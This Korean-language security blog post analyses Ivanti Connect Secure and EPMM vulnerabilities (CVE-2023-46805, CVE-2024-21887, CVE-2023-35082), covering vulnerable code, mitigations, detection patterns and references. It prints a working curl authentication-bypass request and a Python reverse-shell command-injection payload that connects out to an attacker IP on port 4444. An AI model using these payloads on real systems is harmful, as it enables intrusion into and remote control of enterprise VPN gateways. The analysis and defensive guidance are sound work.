1. Ivanti [1]
- 미국 유타주 사우스 조단에 본사를 둔 IT 소프트웨어 회사
- IT 보안, IT 서비스 관리, IT 자산 관리, 통합 엔드포인트 관리, ID 관리 및 공급망 관리용 소프트웨어를 생산
2. 취약점
- CISA에서 해당 취약점과 관련된 광범위한 악용에 따른 지침 발표 [2][3]
2.1 CVE-2023-46805
- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 인증 우회 취약점
> 원격의 공격자가 인증을 우회하여 제한된 리소스에 액세스할 수 있음
> 악용에 성공한 공격자는 이후 CVE-2024-21887 (명령 주입 취약점, CVSS:9.1)로 추가 익스플로잇 가능
영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x
- 해당 취약점은 /api/v1/totp/user-backup-code 엔드포인트에서 발생 [5]
> 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재
> 해당 함수에서 /api/v1/totp/user-backup-code 등 특정 경로의 경우 인증이 강제되지 않음
> 이후 해당 요청은 Python 백엔드 REST 서버로 전달
// web!doAuthCheck
bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)
{
// ...snip...
uri_path = a1->uri_path;
if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
|| !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
|| !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
|| !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
|| !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
|| !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <---
|| !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
|| !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
|| !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
|| !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
|| !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
|| !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
{
return 1; // <---
}
// ...go on and enforce authentication...
- /api/v1/totp/user-backup-code 및 추가 문자를 입력해 요청을 전송할 경우 인증을 우회해 제한된 리소스에 액세스 가능
> /api/v1/system/system-information에 접근해 시스템 정보를 반환
> Python REST 백엔드의 모든 엔드포인트에 액세스할 수 있으며 RCE 등 추가 익스플로잇이 가능
$ curl -ik --path-as-is https://[Target IP]/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 297
{"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}}
2.1.1 CVE-2024-21887
- CVE-2023-46805 익스플로잇에 성공한 공격자가 원격 명령을 실행할 수 있게 되는 취약점 (CVSS: 9.1)
> 영향받는 버전은 CVE-2023-46805과 동일
- 해당 취약점은 /api/v1/license/keys-status 엔드포인트를 이용
> restservice/api/resources/license.py: 요청이 /api/v1/license/keys-status로 시작할 경우 명령을 처리
> 두 취약점 악용을 위한 PoC 존재 [7]
class License(Resource):
"""
Handles requests that are coming for licensing APIs
For now the only API is license/auth-code
"""
# ...snip...
def get(self, url_suffix=None, node_name=None):
if request.path.startswith("/api/v1/license/keys-status"):
try:
dsinstall = os.environ.get("DSINSTALL")
if node_name == None:
node_name = ""
proc = subprocess.Popen(
dsinstall
+ "/perl5/bin/perl"
+ " "
+ dsinstall
+ "/perl/getLicenseCapacity.pl"
+ " getLicenseKeys "
+ node_name, # <---
shell=True,
stdout=subprocess.PIPE,
)
- 아래 명령을 인코딩하여 페이로드 전송
Payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
URL: [Target IP]/api/v1/totp/user-backup-code/../../license/keys-status/[Encoded Payload]
2.2 CVE-2023-35082
- 취약한 버전의 Ivanti EPMM/MobileIron Core에서 발생하는 인증 우회 취약점 (CVSS: 10.0)
> 관리 서버의 API 엔드포인트에 엑세스할 수 있으며, 개인 식별 정보 접근 및 플랫폼 변경 등 여러 작업 수행 가능
> CVE-2023-35078
영향받는 버전
① EPMM 11.8 ~ 11.10
② MobileIron Core 11.7 이하
- 구체적인 내용은 확인되지 않으나 구글링 및 PoC 결과 2가지 API를 사용하는 것으로 판단됨 [9][10]
API | 설명 |
/mifs/asfV3/api/v2/ping | API 버전 |
/mifs/asfV3/api/v2/admins/users | 사용자 정보 |
3. 대응방안
- 벤더사 제공 업데이트 제공 [11][12]
> CVE-2023-46805, CVE-2024-21887의 경우 아직 패치 개발중으로 01/22~02/19까지 버전 간 시차를 두고 출시 예정 [13]
※ 두 취약점의 경우 벤더사 홈페이지를 통해 임시 완화 조치 적용 [14]
> CVE-2023-35082의 경우 11.2 이하 버전은 지원 중단되었으며, 11.3 ~ 11.10 버전 RPM 스크립트 적용 참고 [15]
취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
CVE-2023-46805 | Ivanti Connect Secure Ivanti Policy Secure |
9.x 22.x |
- |
CVE-2024-21887 | |||
CVE-2023-35082 | EPMM (Ivanti Endpoint Manager Mobile) | 11.8 ~ 11.10 | 11.11.0.0 |
MobileIron Core | 11.7 이하 |
- Mandiant에서 취약점을 악용한 공격에 대한 침해지표를 제공 [16]
- 탐지 패턴 적용
취약점 | 패턴 |
CVE-2023-46805 | api/v1/totp/user-backup-code |
CVE-2024-21887 | |
CVE-2023-35082 | mifs/asfV3/api/v2 |
4. 참고
[1] https://www.ivanti.com/
[2] https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
[3] https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-ivanti-connect-secure-and-policy
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-46805
[5] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-21887
[7] https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-35082
[9] https://threatprotect.qualys.com/2023/08/03/ivanti-endpoint-manager-mobile-epmm-remote-unauthenticated-api-access-vulnerability-cve-2023-35082/
[10] https://github.com/Chocapikk/CVE-2023-35082
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71292
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71301
[13] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
[14] https://success.ivanti.com/customers/Community_RegStep1_Page?inst=UL&startURL=%2Fservlet%2Fnetworks%2Fswitch%3FnetworkId%3D0DB1B000000PBGy%26startURL%3D%2Fs%2Farticle%2FDownload-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
[15] https://forums.ivanti.com/s/article/KB-Remote-Unauthenticated-API-Access-Vulnerability-CVE-2023-35082?language=en_US
[16] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
[17] https://www.boannews.com/media/view.asp?idx=125833&page=19&kind=1
[18] https://www.boannews.com/media/view.asp?idx=126053&page=9&kind=1
[19] https://www.boannews.com/media/view.asp?idx=126245&page=1&kind=1
'취약점 > By-Pass' 카테고리의 다른 글
ConnectWise ScreenConnect 인증 우회 취약점 (CVE-2024-1709) (0) | 2024.02.22 |
---|---|
GoAnywhere MFT 인증 우회 취약점 (CVE-2024-0204) (2) | 2024.02.01 |
VMware Aria Automation 접근 제어 누락 취약점 (CVE-2023-34063) (0) | 2024.01.23 |
Apache OfBiz 인증 우회 취약점 (CVE-2023-51467) (1) | 2023.12.31 |
TeamCity Server 인증 우회 취약점 (CVE-2023-42793) (0) | 2023.10.23 |